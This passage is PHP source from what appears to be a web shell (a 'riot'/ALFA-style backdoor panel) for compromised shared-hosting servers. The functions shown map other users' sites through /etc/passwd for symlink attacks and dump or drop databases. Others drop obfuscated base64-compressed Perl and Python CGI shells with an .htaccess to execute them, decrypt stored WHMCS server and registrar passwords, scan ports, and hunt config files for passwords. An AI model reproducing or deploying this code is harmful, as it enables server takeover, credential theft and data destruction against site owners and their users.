{ $http = "javascript:alert('we cant find domain...')"; } echo str_replace(["{count}", "{http}", "{domain}", "{owner}", "{sympath}"], [$count, $http, $domain, $owner, $sympath], $template); $count++; $f_black[] = $owner . $domain; } } if ($anonymous) { foreach ($anonymous_users as $owner) { $sympath = str_replace("{user}", $owner, $makepwd); $http = "javascript:alert('we cant find domain...')"; echo str_replace(["{count}", "{http}", "{domain}", "{owner}", "{sympath}"], [$count, $http, "[????]", $owner, $sympath], $template); $count++; } } $cant_symlink = false; } else { $is_direct = false; $makepwd = riotMakePwd(); if (_riot_file_exists("/etc/virtual/domainowners")) { $makepwd = "/home/{user}/public_html"; $is_direct = true; } $sole = _riot_file("/etc/virtual/domainowners"); $count = 1; echo $table_header; $template = ' {count} {domain} {owner} Symlink '; if ($sole) { foreach ($sole as $visible) { if (@strstr($visible, ":")) { $riotexec = explode(":", $visible); $cwd = str_replace("{user}", trim($riotexec[1]), $makepwd); echo str_replace(["{count}", "{user}", "{url}", "{cwd}"], [$count++, trim($riotexec[1]), trim($riotexec[0]), $cwd], $template); } } } else { $passwd = _riot_file("/etc/passwd"); if ($passwd) { $html = ""; $is_named = false; $users = []; $domains = []; $uknowns = []; foreach ($passwd as $user) { $user = trim($user); $expl = explode(":", $user); if ((int) $expl[2] < 500) { continue; } $users[$expl[0]] = $expl[5]; } $site_domains = @scandir("/etc/virtual/"); if (!$site_domains) { $site_domains = riotEx("ls /etc/virtual/"); $site_domains = explode("\n", $site_domains); if (!$site_domains) { $site_domains = _riot_file("/etc/named.conf"); if ($site_domains) { $is_named = true; } } } foreach ($site_domains as $line) { if ($is_named) { if (@strstr($line, "zone")) { preg_match_all('#zone "(.*)"#', $line, $data); $domain = $data[1][0]; if (strlen($domain > 2) && !empty($domain)) { $domains[] = $domain; } } } else { $domains[] = $line; } } $x = 1; foreach ($users as $user => $home) { foreach ($domains as $domain) { $user_len = strlen($user) - 1; $sub_domain = str_replace(["-", "."], "", $domain); $five_user = substr($user, 0, $user_len); $five_domain = substr($sub_domain, 0, $user_len); if ($five_user == $five_domain) { if ($is_direct) { $cwd = str_replace("{user}", $user, $makepwd); } else { $expl = explode("}/", $makepwd); $cwd = $home . "/" . $expl[1]; } $html .= str_replace(["{count}", "{user}", "{url}", "{cwd}"], [$x++, $user, $domain, $cwd], $template); } else { $uknowns[$user] = $home; } } } $uknowns = array_unique($uknowns); foreach ($uknowns as $user => $home) { if ($is_direct) { $cwd = str_replace("{user}", $user, $makepwd); } else { $expl = explode("}/", $makepwd); $cwd = $home . "/" . $expl[1]; } $html .= str_replace(["{count}", "{user}", "{url}", "{cwd}"], [$x++, $user, "[?????]", $cwd], $template); } echo $html; } } echo " {count} {url} {user} Symlink [+] Symlink Function Disabled !
Error...
'; } echo ""; } echo "" . ($form_visibility != "none" ? " | Sql Manager |" . getConfigHtml("all") . "
" : "") . ""; if ($db->mysqli_connect_error) { echo '' . $db->mysqli_connect_error_msg . ""; } if (!empty($curr_mysql_id)) { $sql_title_db = ""; if (!empty($_POST["sql_base"])) { $sql_title_db = "d.querySelector('#tab_" . $curr_mysql_id . " span').innerHTML='" . addslashes($_POST["sql_base"]) . "';"; } echo ""; } if (isset($db) && $db->link) { if (!empty($_POST["sql_base"])) { echo ""; riotfooter(); } function riotSql_manager_api() { $db = $_POST["riot1"]; $type = $_POST["riot2"]; $sql_count = $_POST["riot3"] == "true" ? true : false; $db = @json_decode($db, true); $conn = @mysqli_connect($db["host"], $db["user"], $db["pass"], $db["db"]); @mysqli_set_charset($conn, "utf8"); if ($conn) { if ($type == "load_all_tables") { $tables = []; $q_tables = @mysqli_query($conn, "SELECT `table_schema`, `table_name` FROM `information_schema`.`tables` WHERE `table_schema` IN ('" . implode("','", $db["databases"]) . "');"); $count = 0; while ($row = @mysqli_fetch_assoc($q_tables)) { if ($sql_count) { $count_q = @mysqli_query($conn, "SELECT COUNT(*) FROM `" . $row["table_schema"] . "`.`" . $row["table_name"] . "`"); if ($count_q) { $count = @mysqli_fetch_row($count_q); $count = $count[0]; } } $tables[$row["table_schema"]][] = [ "name" => $row["table_name"], "count" => (int) $count, ]; } foreach ($db["databases"] as $db) { if (!isset($tables[$db])) { $tables[$db] = null; } } echo @json_encode($tables); } elseif ($type == "dump_drop") { if ($db["mode"] == "drop") { foreach ($db["tables"] as $table) { @mysqli_query($conn, "DROP TABLE `" . $table . "`;"); } $tables = []; $q_tables = @mysqli_query($conn, "SHOW TABLES;"); $count = 0; while ($row = @mysqli_fetch_array($q_tables)) { if ($sql_count) { $count_q = @mysqli_query($conn, "SELECT COUNT(*) FROM `" . $row[0] . "`"); if ($count_q) { $count = @mysqli_fetch_row($count_q); $count = $count[0]; } } $tables[] = ["name" => $row[0], "count" => (int) $count]; } echo @json_encode($tables); } else { if (strlen(riotEx("mysqldump")) > 0) { riotEx("mysqldump --single-transaction --host=\"" . $db["host"] . "\" --user=\"" . $db["user"] . "\" --password=\"" . $db["pass"] . "\" " . $db["db"] . " " . implode(" ", $db["tables"]) . " > " . $db["dump_file"]); } else { $fp = @fopen($db["dump_file"], "w"); foreach ($db["tables"] as $table) { $res = @mysqli_query($conn, "SHOW CREATE TABLE `" . $table . "`"); $create = @mysqli_fetch_array($res); $sql = "DROP TABLE IF EXISTS `" . $table . "`;\n" . $create[1] . ";\n"; if ($fp) { fwrite($fp, $sql); } else { echo $sql; } $tbl_data = @mysqli_query($conn, "SELECT * FROM `" . $table . "`"); $head = true; while ($item = @mysqli_fetch_assoc($tbl_data)) { $columns = []; foreach ($item as $k => $v) { if ($v == null) { $item[$k] = "''"; } elseif (is_numeric($v)) { $item[$k] = $v; } else { $item[$k] = "'" . @mysqli_real_escape_string($conn, $v) . "'"; } $columns[] = "`" . $k . "`"; } if ($head) { $sql = "INSERT INTO `" . $table . "` (" . implode(", ", $columns) . ") VALUES \n\t(" . implode(", ", $item) . ")"; $head = false; } else { $sql = "\n\t,(" . implode(", ", $item) . ")"; } if ($fp) { fwrite($fp, $sql); } else { echo $sql; } } if (!$head) { if ($fp) { fwrite($fp, ";\n\n"); } else { echo ";\n\n"; } } } } echo @json_encode([ "status" => true, "file" => $db["dump_file"], ]); } } elseif ($type == "load_tables") { $tables = []; $q_tables = @mysqli_query($conn, "SHOW TABLES;"); $count = 0; while ($row = @mysqli_fetch_array($q_tables)) { if ($sql_count) { $count_q = @mysqli_query($conn, "SELECT COUNT(*) FROM `" . $row[0] . "`"); if ($count_q) { $count = @mysqli_fetch_row($count_q); $count = $count[0]; } } $tables[] = ["name" => $row[0], "count" => (int) $count]; } echo @json_encode($tables); } elseif ($type == "alter") { $db["alter"]["type"] = strtolower($db["alter"]["type"]); $inputs = $db["alter"]["type"] . "(" . $db["alter"]["input"] . ")"; $text_input = ["longtext", "text", "mediumtext", "tinytext"]; if (in_array($db["alter"]["type"], $text_input)) { $inputs = $db["alter"]["type"]; } @mysqli_query($conn, "ALTER TABLE `" . $db["table"] . "` MODIFY COLUMN `" . $db["column"] . "` " . $inputs); $error = @mysqli_error($conn); if ($error) { echo $error; } else { echo "ok"; } } elseif ($type == "edit" || $type == "delete" || $type == "delete_all") { if ($type == "edit") { $q = @mysqli_query($conn, "SELECT * FROM `" . $db["db"] . "`.`" . $db["table"] . "` WHERE `" . $db["col_key"] . "` = '" . addslashes($db["key"]) . "' LIMIT 0,1"); $row = @mysqli_fetch_assoc($q); if ($row) { $columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE, DATA_TYPE as type FROM information_schema.columns WHERE `TABLE_SCHEMA` = '" . $db["db"] . "' AND `TABLE_NAME` = '" . $db["table"] . "'"); $columns = []; $edit_data = []; while ($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)) { $input = ["col_type" => $row2["COLUMN_TYPE"]]; $row2["type"] = strtolower($row2["type"]); switch ($row2["type"]) { case "longtext": case "text": case "mediumtext": case "tinytext": $input["tag"] = "textarea"; break; case "int": case "smallint": case "bigint": case "tinyint": case "mediumint": $input["tag"] = "input"; $input["type"] = "number"; break; default: $input["tag"] = "input"; $input["type"] = "text"; } $columns[$row2["name"]] = $input; } foreach ($row as $key => $v) { $edit_data[] = [ "col" => $key, "value" => htmlspecialchars($v, ENT_QUOTES, "UTF-8"), "type" => $columns[$key], ]; } echo @json_encode($edit_data); } } else { if ($type == "delete_all") { $rows = implode("', '", $db["rows"]); } else { $rows = addslashes($db["key"]); } $query = "DELETE FROM `" . $db["db"] . "`.`" . $db["table"] . "` WHERE `" . $db["col_key"] . "` IN ('" . $rows . "')"; @mysqli_query($conn, $query); $error = @mysqli_error($conn); if ($error) { $status = false; } else { $status = true; } echo @json_encode([ "status" => $status, "error" => $error, "query" => $query, ]); } } elseif ($type == "update") { $query = "UPDATE `" . $db["db"] . "`.`" . $db["table"] . "` SET "; foreach ($db["data"] as $col => $val) { $query .= "`" . $col . "` = '" . mysqli_real_escape_string($conn, $val) . "',"; } $query = substr($query, 0, -1); $query .= "WHERE `" . $db["col_key"] . "` = '" . $db["key"] . "'"; $res = @mysqli_query($conn, $query); echo @json_encode([ "status" => $res, "error" => @mysqli_error($conn), ]); } elseif ($type == "insert") { $query = "INSERT INTO `" . $db["db"] . "`.`" . $db["table"] . "` "; foreach ($db["data"] as $col => $val) { $cols .= $col . ","; $vals .= "'" . mysqli_real_escape_string($conn, $val) . "',"; } $cols = substr($cols, 0, -1); $vals = substr($vals, 0, -1); $query = $query . "(" . $cols . ")" . "VALUES(" . $vals . ")"; $res = @mysqli_query($conn, $query); echo @json_encode([ "status" => $res, "error" => @mysqli_error($conn), ]); } else { $pages = 0; $title = false; $query = ""; $tbl_content = '<<"; } else { echo htmlspecialchars($db->error()); } echo ""; foreach ($database_list as $db_name) { echo '
- ' . $db_name . '
'; if ($db_name == $_POST["sql_base"]) { $db->selectdb($_POST["sql_base"]); $tbls_res = $db->listTables(); echo '"; } echo "
- '; while ($item = $db->fetch($tbls_res)) { list($key, $value) = each($item); if (!empty($_POST["sql_count"])) { $n = $db->fetch($db->query("SELECT COUNT(*) as n FROM `" . $value . "`")); } $value = htmlspecialchars($value); echo "
- "; } echo '
" . $value . "" . (empty($_POST["sql_count"]) ? " " : " ({$n["n"]})") . "'; } echo ""; echo "ResultQuerySearchStructureInsert"; } echo "'; $line = 0; $tables = []; $columns = []; if ($type == "load_data") { $query = "SELECT * FROM `" . $db["db"] . "`.`" . $db["table"] . "` LIMIT 0,30"; $tbl_count_q = @mysqli_query($conn, "SELECT COUNT(*) FROM `" . $db["db"] . "`.`" . $db["table"] . "`"); $tbl_count = @mysqli_fetch_row($tbl_count_q); $columns_query = @mysqli_query( $conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE as type, COLLATION_NAME as collation, DATA_TYPE as data_type, CHARACTER_MAXIMUM_LENGTH as type_value FROM information_schema.columns WHERE `TABLE_SCHEMA` = '" . $db["db"] . "' AND `TABLE_NAME` = '" . $db["table"] . "'" ); while ($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)) { $columns[] = $row2; } if ($tbl_count[0] > 30) { $pages = ceil($tbl_count[0] / 30); } } elseif ($type == "query") { $query = $db["query"]; } elseif ($type == "page") { $db["page"] = (int) $db["page"] - 1; $query = "SELECT * FROM `" . $db["db"] . "`.`" . $db["table"] . "` LIMIT " . $db["page"] * 30 . ",30"; } elseif ($type == "search") { $search = ""; $search_noval = ["= ''", "!= ''", "IS NULL", "IS NOT NULL"]; foreach ($db["search"] as $col => $val) { $search_noval_r = in_array($val["opt"], $search_noval); if (empty($val["value"]) && !$search_noval_r) { continue; } if (strstr($val["opt"], "...") || $search_noval_r) { $val["opt"] = str_replace("...", $val["value"], $val["opt"]); $search .= $col . " " . $val["opt"] . " AND "; } else { $search .= $col . " " . $val["opt"] . " '" . addslashes($val["value"]) . "' AND "; } } $search .= "1=1"; $query = "SELECT * FROM `" . $db["db"] . "`.`" . $db["table"] . "` WHERE " . $search; } $q_tables = @mysqli_query($conn, $query); if (!$q_tables) { echo @json_encode([ "status" => false, "error" => @mysqli_error($conn), "query" => $query, ]); return false; } $col_key = @mysqli_query($conn, "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = '" . @addslashes($db["db"]) . "' AND TABLE_NAME = '" . @addslashes($db["table"]) . "' AND COLUMN_KEY = 'PRI'"); if ($col_key) { $col_key = @mysqli_fetch_row($col_key); $col_key = $col_key[0]; if (!empty($col_key)) { $tbl_content = '
'; } } else { $col_key = false; } while ($item = @mysqli_fetch_assoc($q_tables)) { if (!$title) { $tbl_content .= '
"; if (!$title) { $tbl_content = "'; if ($col_key) { $tbl_content .= ' Edit Delete '; } foreach ($item as $key => $value) { $tbl_content .= "" . $key . " "; } reset($item); $title = true; $tbl_content .= ""; } if ($col_key) { $cacheMsg = ' Edit Delete '; } $tbl_content .= '' . $cacheMsg; $line++; foreach ($item as $key => $value) { if ($value == null) { $tbl_content .= " "; } $tbl_content .= "null "; } else { $tbl_content .= "" . nl2br(htmlspecialchars($value)) . " "; } } $tbl_content .= "Table is empty..."; } echo @json_encode([ "status" => true, "table" => $tbl_content, "columns" => $columns, "pages" => $pages, "query" => $query, ]); } @mysqli_close($conn); } } function riotcgishell() { riothead(); $div = ""; riotCreateParentFolder(); @chdir($GLOBALS["home_cwd"] . "/" . __SYS_CONFIG_FOLDER__); if (!in_array($_POST["riot1"], ["perl", "py"])) { $div = ""; echo ' | CGI Shell || Perl | | Python | '; } if (isset($_POST["riot1"]) && in_array($_POST["riot1"], ["perl", "py"])) { @mkdir("cgiriot", 0755); @chdir("cgiriot"); riotcgihtaccess("cgi"); $name = $_POST["riot1"] . ".riot"; $perl = "#!/usr/bin/perl -I/usr/local/bandmin" . "\n" . 'use MIME::Base64;use Compress::Zlib;eval(Compress::Zlib::memGunzip(decode_base64("H4sIAAAAAAAA/6UZDXfTRvKvLBthSRBbtktazrJcQuJA3iUhlxju9aJgZGlt70OWVH2QpMb97Tezu7KkEKC0yUORZud7ZmdmlyJj5PT4dDwYvPQy9vMzuwDAEQ+ZBETeignQwU1AdG+WTRMvX+q25i/4NOApcQg8EcsoFw2ta5q29l8enU1guWtrZ5ODVXDJEviiLWprbyN+W0FsgBzEq5UXBRO+YnGRHxapl/M4gtUekF8u45vDO5DB/TdFnhQ5wm0NtBKC4WvB8jBe8Ih8/ozvyU3BA0MbmvhNvXDuoYhSoKFU+5VUig1ITSlTIJ+DwXVk6gcU8GhyE1DAOAdL7/OjritQLES4YOAY5udx2sQh/VGrR3qjVl/g4ltPwIAoK2bkgnnBuZeCy9dh7HshMZ7wyAQeL6aEz+FpK7DGd4kG7/D8yO7g+ckLQe5pEeY88dL8KE5Xh17uAak2Pnu31g/enE3GZ5Pp5Lfzsb4hzp/EWpXIrjUH9HYA+DaZxUUUeOmdY3Semppl87khOVyM//N2fDmZno4nr98cAg/2O6GvxhNqrjUebQUB0sVv08vJxfHZK31jb1iYfZvF+ZtL5JGC6cbl5PD4DKzh0e49vU/GZ68mr/WNaW+27P6uTaDwSwUBtfV2W+9oPftFyDPMriwJeW5YWxRL6APOfQ0asvRlHCCVhthXvesmGDRwUzfCf5/hT2SVy0jxwdZKYr18/ZNkgkKzAJVHa30Ouw+VRnuIQKpYAHdcxrx3XIq2uLQkk/i92pdgTS1rcR+WIQy8A0nk9G1licav4ZU/fQrOKQES/33nqZAoVKwvAXfDvVFKQBYqBSATlYniDVkY742GW0zzswBo8KWZQsUt7mOj0zGtxPM/GtSnu2TJbg2tZ5rWgglDUJKwFSjsDaYXW78Q+acC1yoDBiYyz1/CBzG6pNMh2g6AMVkr49ynFgHxR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zBjYHhiZWZ7BxrfML3JWMlxvWtsrOPteOm1vuC4PLo7PJ9Oz/dMxHDNru73CGF+8G19sMZqna1Jex9iaTN0ShIdW7aKISmUcEjDcFtOZuJyVp2kfr8C0xqD9AFaAWPJSoIH6QV1ufsCTdGMN40XFwbyhAl4TvHezJ37gZk/xxgkvz2CwgBOivO75LoF9n0LGv3lFqi5oOzWovdHehMEDR4nKPdQPiFuv6S6F6qtY4aKSWwGV+V9xjWT8wbQ3rXsnHLy/wXvfv9RRth3DfVFPjhqmLO73WuIw4J/KBqGGQ5xmBn0cx/SRGD+k5YOHuomaMUUDqgKybUCySYOI0TD5tqjGYFoKL4dKksY3maP3uzrJEphJ/CWDoqKLygCiRTqorMaMUqdPc92qLqvKBPiLcawbU0+Pen3QLo9frfX9k4tTcQ3qtprb35b14ytFQd0of/EfDcD2s9Or8g3v6chnaouLKwWUmLvbemPi0SdkxrCxPgJWU3XgxRvQ1I1MvE1VCaBN8QC7AWndRnGsMlJo+GU13GzKFLLK+JQxtpLaSEbt1lfHJLt1b1Kz/w8wblS+FRoAAA==")));'; $py = "#!/usr/bin/python" . "\nimport zlib, base64\n" . 'eval(compile(zlib.decompress(base64.b64decode("eJylF9ty2zb22foKDLxbUqurFTvN6Na6Xqf1bNNmErcvtkcDEqCICQlwQdC26vF++54DkBLVaOO2a8/YBM79fmDNZto5knmhjSXxWtpo5v8NhWJRJsJuRzzGorCAVbCy7NSo5absA15fl/21sAjpR6wUr0/7lckyGXUSo3NiZS5IQ2FNgueGgzUsFhGLP3nUj9ZItb76uUFvzjWjBrkBFwC1K1CtIxOiS9D2XhqthikrV5/EJqQfLz5cvb9e/XT+7pJ2QfkyNrKwioFCixbBzR7iXUdkpfg9NqUdLhLCsoRd5DyMkd1RnMqMr0rLpeqT7UFX1rMvdCHUBHD3UYdxpkt06tGREWWVIXabeGgE4+EeEd62qWxlFPHEnUSbHDms5fCtFBn/aLVha8SMcw4AhA8hPvcsq0QYxEG3w6X5HMABAH4EIjDNk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70bpINbznCXO9BvckhzEfOe5NPtSzqVma3dbmw7eVjFFMcdh9aaHa6oRrlYT5bX64fvfjwjnItcOb8d0QMYC7dxDebmvFfdf5d7Ytif303E+4Oh28ln+xiL5AxD6X4FNut2jtMm7kdi6c/LB94iqKz8jgv11NVZo=")),\'
\',\'exec\'))'; if ($_POST["riot1"] == "perl") { $code = $perl; } else { $code = $py; } if (__write_file($name, $code)) { @chmod($name, 0755); echo ''; } } echo $div; riotfooter(); } function riotWhmcs() { riothead(); echo " "; function decrypt($string, $cc_encryption_hash) { $key = md5(md5($cc_encryption_hash)) . md5($cc_encryption_hash); $hash_key = _hash($key); $hash_length = strlen($hash_key); $string = __ZGVjb2Rlcg($string); $tmp_iv = substr($string, 0, $hash_length); $string = substr($string, $hash_length, strlen($string) - $hash_length); $iv = $out = ""; $c = 0; while ($c < $hash_length) { $iv .= chr(ord($tmp_iv[$c]) ^ ord($hash_key[$c])); ++$c; } $key = $iv; $c = 0; while ($c < strlen($string)) { if ($c != 0 and $c % $hash_length == 0) { $key = _hash($key . substr($out, $c - $hash_length, $hash_length)); } $out .= chr(ord($key[$c % $hash_length]) ^ ord($string[$c])); ++$c; } return $out; } function _hash($string) { if (function_exists("sha1")) { $hash = sha1($string); } else { $hash = md5($string); } $out = ""; $c = 0; while ($c < strlen($hash)) { $out .= chr(hexdec($hash[$c] . $hash[$c + 1])); $c += 2; } return $out; } AlfaNum(8, 9, 10); echo ""; riotfooter(); } function riotportscanner() { riothead(); echo '"; if ($_POST["riot5"] != "") { $db_host = $_POST["riot7"]; $db_username = $_POST["riot3"]; $db_password = $_POST["riot4"]; $db_name = $_POST["riot5"]; $cc_encryption_hash = $_POST["riot6"]; echo __pre(); ($conn = @mysqli_connect($db_host, $db_username, $db_password, $db_name)) or die(mysqli_error($conn)); $query = mysqli_query($conn, "SELECT * FROM tblservers"); $num = mysqli_num_rows($query); if ($num > 0) { for ($i = 0; $i <= $num - 1; $i++) { $v = @mysqli_fetch_array($query); $ipaddress = $v["ipaddress"]; $username = $v["username"]; $type = $v["type"]; $active = $v["active"]; $hostname = $v["hostname"]; echo " | WHMCS DeCoder |" . getConfigHtml("whmcs") . "
"; } $query1 = @mysqli_query($conn, "SELECT * FROM tblregistrars"); $num1 = @mysqli_num_rows($query1); if ($num1 > 0) { for ($i = 0; $i <= $num1 - 1; $i++) { $v = mysqli_fetch_array($query1); $registrar = $v["registrar"]; $setting = $v["setting"]; $value = decrypt($v["value"], $cc_encryption_hash); if ($value == "") { $value = 0; } echo " "; $password = decrypt($v["password"], $cc_encryption_hash); echo "
"; echo " Type $type "; echo " Active $active "; echo " Hostname $hostname "; echo " Ip $ipaddress "; echo " Username $username "; echo " Password $password Domain Reseller "; echo " "; } } } else { __alert('tblservers is Empty...!'); } } echo " "; echo "
"; echo " Register $registrar "; echo " Setting $setting "; echo " Value $value "; riotfooter(); } function riotcgihtaccess($m, $d = "", $symname = false) { $readme = ""; if ($symname) { $readme = "\nReadmeName " . trim($symname); } if ($m == "cgi") { $code = "#Coded By IDM\nOptions FollowSymLinks MultiViews Indexes ExecCGI\nAddType application/x-httpd-cgi .riot\nAddHandler cgi-script .riot"; } elseif ($m == "sym") { $code = "#Coded By IDM\nOptions Indexes FollowSymLinks\nDirectoryIndex riotexec.phtm\nAddType text/plain php html php4 phtml\nAddHandler text/plain php html php4 phtml{$readme}\nOptions all"; } elseif ($m == "shtml") { $code = "Options +Includes\nAddType text/html .shtml\nAddHandler server-parsed .shtml"; } @__write_file($d . ".htaccess", $code); } function riotbasedir() { riothead(); echo ' | Port Scaner |
'; $start = strip_tags($_POST["riot2"]); $end = strip_tags($_POST["riot3"]); $host = strip_tags($_POST["riot4"]); if (isset($_POST["riot4"]) && is_numeric($_POST["riot3"]) && is_numeric($_POST["riot2"])) { echo __pre(); $packetContent = "GET / HTTP/1.1\r\n\r\n"; if (ctype_xdigit($packetContent)) { $packetContent = @pack("H*", $packetContent); } else { $packetContent = str_replace(["\r", "\n"], "", $packetContent); $packetContent = str_replace(["\\r", "\\n"], ["\r", "\n"], $packetContent); } for ($i = $start; $i <= $end; $i++) { $sock = @fsockopen($host, $i, $errno, $errstr, 3); if ($sock) { stream_set_timeout($sock, 5); fwrite($sock, $packetContent . "\r\n\r\n\x00"); $counter = 0; $maxtry = 1; $bin = ""; do { $line = fgets($sock, 1024); if (trim($line) == "") { $counter++; } $bin .= $line; } while ($counter < $maxtry); fclose($sock); echo ""; } flush(); } } echo " Port $i is open
"; echo ""; riotfooter(); } function riotziper() { riothead(); AlfaNum(8, 9, 10); echo ''; $passwd = _riot_file("/etc/passwd"); if (is_array($passwd)) { $users = []; $makepwd = riotMakePwd(); $basedir = @ini_get("open_basedir"); $safe_mode = @ini_get("safe_mode"); if (_riot_can_runCommand(true, false) && ($basedir || $safe_mode)) { $bash = "fZBPSwMxEMXPzacYx9jugkvY9lbpTQ9eFU9NWdYk2wYkWZKsgmu+u9NaS8E/cwgDL/N+M+/yQjxbJ+KO3d4/rHjNusGpZL2DmEITTP/SKlOUIwOqNVTvgLxG2MB0CsGkITioz7X5P9riN60hzhHTvLYn5IoXfbAudYBXUUqHX9wPiEZDZQCj4OM807PIYovlwevHxPiHe0aWmVE7f7BaS4Ws8wEsWAe8UEOCSi+h6moQJinRtzG+6fIGtGeTp8c7Cqo4i4dAFB7xxiGakPdgSxtN6OxA/X7gePk3UtIPiddMe2dOe8wQN7NP"; $tmp_path = riotWriteTocgiapi("basedir.riot", $bash); $bash_users = riotEx("cd " . $tmp_path . "/riotcgiapi;sh basedir.riot " . $makepwd, false, true, true); $users = json_decode($bash_users, true); $x = count($users); if ($x >= 2) { array_pop($users); --$x; } } if (!$basedir && !$safe_mode) { $x = 0; foreach ($passwd as $str) { $pos = strpos($str, ":"); $username = substr($str, 0, $pos); $dirz = str_replace("{user}", $username, $makepwd); if ($username != "") { if (@is_readable($dirz)) { array_push($users, $username); $x++; } } } } echo " | Open Base Dir |
"; echo "[+] Founded " . sizeof($passwd) . " entrys in /etc/passwd\n" . "
"; echo "[+] Founded " . $x . " readable " . str_replace("{user}", "*", $makepwd) . " directories\n" . "
"; echo "[~] Searching for passwords in config files...\n\n" . "
"; foreach ($users as $user) { if (empty($user)) { continue; } $path = str_replace("{user}", $user, $makepwd); echo "
"; } } else { echo '[-] Error : coudn`t read /etc/passwd [-] '; } echo "
"; echo ""; riotfooter(); } function __riotziper($source, $destination) { if (!extension_loaded("zip") || !file_exists($source)) { return false; } $zip = new ZipArchive(); if (!$zip->open($destination, ZIPARCHIVE::CREATE)) { return false; } $source = str_replace("\\", "/", realpath($source)); if (is_dir($source) === true) { $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST); foreach ($files as $file) { $file = str_replace("\\", "/", $file); if (in_array(substr($file, strrpos($file, "/") + 1), [".", ".."])) { continue; } $file = realpath($file); if (is_dir($file) === true) { $zip->addEmptyDir(str_replace($source . "/", "", $file . "/")); } elseif (is_file($file) === true) { $zip->addFromString(str_replace($source . "/", "", $file), file_get_contents($file)); } } } elseif (is_file($source) === true) { $zip->addFromString(basename($source), file_get_contents($source)); } return $zip->close(); } function riotdeziper() { riothead(); AlfaNum(8, 9, 10); echo ''; if (isset($_POST["riot5"]) && $_POST["riot5"] == ">>") { $dirzip = $_POST["riot3"]; $zipfile = $_POST["riot4"]; if ($GLOBALS["sys"] != "unix" && _riot_can_runCommand(true, true)) { riotEx("powershell Compress-Archive -Path '" . addslashes($dirzip) . "' -DestinationPath '" . addslashes(basename($zipfile)) . "'"); echo __pre() . ' | Compressor |"; } elseif ($GLOBALS["sys"] == "unix" && _riot_can_runCommand(true, true)) { riotEx("cd '" . addslashes(dirname($zipfile)) . "';zip -r '" . addslashes(basename($zipfile)) . "' '" . addslashes($dirzip) . "'"); echo __pre() . ' Done -> ' . $zipfile . "
"; } elseif (class_exists("ZipArchive")) { if (__riotziper($dirzip, $zipfile)) { echo __pre() . ' Done -> ' . $zipfile . "
"; } else { echo __pre() . ' Success...!
' . $zipfile . "'; } } } echo " ERROR!!!...
"; riotfooter(); } function Alfa_StrSearcher($dir, $string, $ext, $e, $arr = []) { if (@is_dir($dir)) { $files = @scandir($dir); foreach ($files as $key => $value) { $path = @realpath($dir . DIRECTORY_SEPARATOR . $value); if (!@is_dir($path)) { if ($ext != "*") { $f = basename($path); $f = explode(".", $f); $f = end($f); if ($f != $ext) { continue; } } if ($e == "str") { $content = @file_get_contents($path); if (strpos($content, $string) !== false) { echo str_replace("\\", "/", $path) . "'; if (isset($_POST["riot5"]) && $_POST["riot5"] == ">>") { $dirzip = $_POST["riot3"]; $zipfile = $_POST["riot4"]; if (@!is_dir($zipfile)) { @mkdir($zipfile, 0777, true); } $finfo = ""; $file_type = ""; if (function_exists("finfo_open")) { $finfo = @finfo_open(FILEINFO_MIME_TYPE); $file_type = @finfo_file($finfo, $dirzip); @finfo_close($finfo); } else { if ($GLOBALS["sys"] == "unix" && _riot_can_runCommand(true, true)) { $file_type = riotEx("file -b --mime-type " . $dirzip); } } if ($GLOBALS["sys"] != "unix" && _riot_can_runCommand(true, true)) { riotEx("powershell expand-archive -path '" . addslashes($dirzip) . "' -destinationpath '" . addslashes(basename($zipfile)) . "'"); echo __pre() . ' | DeCompressor |"; } elseif ($GLOBALS["sys"] == "unix" && !empty($file_type) && _riot_can_runCommand(true, true) && (strlen(riotEx("which unzip")) > 0 || strlen(riotEx("which tar")) > 0 || strlen(riotEx("which gunzip")) > 0)) { switch ($file_type) { case "application/zip": riotEx("cd '" . addslashes($zipfile) . "';unzip '" . addslashes($dirzip) . "'"); break; case "application/x-tar": case "application/x-gzip": case "application/x-gtar": if (strstr(basename($dirzip), ".tar.gz") || strstr(basename($dirzip), ".tar")) { riotEx("cd '" . addslashes($zipfile) . "';tar xzf '" . addslashes($dirzip) . "'"); } else { riotEx("cd '" . addslashes($zipfile) . "';gunzip '" . addslashes($dirzip) . "'"); } break; } echo __pre() . ' Done -> ' . $zipfile . "
'; } elseif (class_exists("ZipArchive")) { $itsok = false; if (emtpy($file_type)) { $file_type = "application/zip"; } switch ($file_type) { case "application/zip": $zip = new ZipArchive(); $res = $zip->open($dirzip); if ($res) { $zip->extractTo($zipfile); $zip->close(); $itsok = true; } break; case "application/x-tar": case "application/x-gzip": case "application/x-gtar": if (strstr(basename($dirzip), ".tar.gz")) { $new_file = $zipfile . "/" . basename($dirzip); @copy($dirzip, $new_file); $new_tar = str_replace(".tar.gz", ".tar", $new_file); try { $p = new PharData($new_file); $p->decompress(); $phar = new PharData($new_tar); $phar->extractTo($zipfile); @unlink($new_file); @unlink($new_tar); $itsok = true; } catch (Exception $e) { } } else { try { $phar = new PharData($dirzip); $phar->extractTo($zipfile); $itsok = true; } catch (Exception $e) { } } break; } if ($itsok) { echo __pre() . ' Done -> ' . $zipfile . ' [ View Folder ]
'; } else { echo __pre() . ' Success...!
' . $zipfile . ' [ View Folder ]'; } } } echo " ERROR!!!...
"; } } else { if (strstr($value, $string)) { echo str_replace("\\", "/", $path) . "
"; } } $results[] = $path; } elseif ($value != "." && $value != "..") { Alfa_StrSearcher($path, $string, $ext, $e, $results); $results[] = $path; } } } } function riotfakepage() { riothead(); AlfaNum(9, 10); echo '"; riotfooter(); } function riotarchive_manager() { riothead(); $file = $_POST["riot2"]; if (!file_exists($file)) { $file = $GLOBALS["cwd"]; } $rand_id = rand(9999, 999999); echo '
| Host Manager Fake page |
